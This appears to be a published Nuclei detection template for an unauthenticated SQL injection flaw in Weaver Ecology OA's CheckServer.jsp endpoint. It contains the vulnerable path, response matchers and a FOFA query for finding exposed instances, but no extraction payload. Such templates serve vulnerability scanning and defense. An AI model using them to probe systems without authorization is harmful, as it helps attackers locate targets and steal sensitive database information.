weaver-checkserver-sqli: Ecology OA CheckServer - SQL Injection

2025-08-01 Weaver CheckServer PoC Public

Description

Ecology OA system improperly filters incoming data from users, resulting in a SQL injection vulnerability. Remote and unauthenticated attackers can use this vulnerability to conduct SQL injection attacks and steal sensitive database information.

PoC

id: weaver-checkserver-sqli

info:
  name: Ecology OA CheckServer - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    Ecology OA system improperly filters incoming data from users, resulting in a SQL injection vulnerability. Remote and unauthenticated attackers can use this vulnerability to conduct SQL injection attacks and steal sensitive database information.
  reference:
    - https://stack.chaitin.com/techblog/detail?id=81
    - https://github.com/lal0ne/vulnerability/blob/main/%E6%B3%9B%E5%BE%AE/E-Cology/CheckServer/README.md
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/weaver-ecology-oa-plugin-checkserver-setting-sqli.yaml
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    vendor: weaver
    product: e-cology
    fofa-query: app="泛微-协同办公OA"
  tags: weaver,ecology,sqli,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mobile/plugin/CheckServer.jsp?type=mobileSetting"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(header, 'application/json','ecology_')"
          - contains(body, 'error\":\"system error') && !contains(body, 'securityIntercept')
        condition: and
# digest: 4b0a004830460221009deea447d2c06607ea87780c8c410330580e2693548570d24c7c17458984af49022100c9c687ebe04e7b35924dc4c60af36115de953defaf78b5d535fd665124f73d39:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/weaver/weaver-checkserver-sqli.yaml

References

Related Vulnerabilities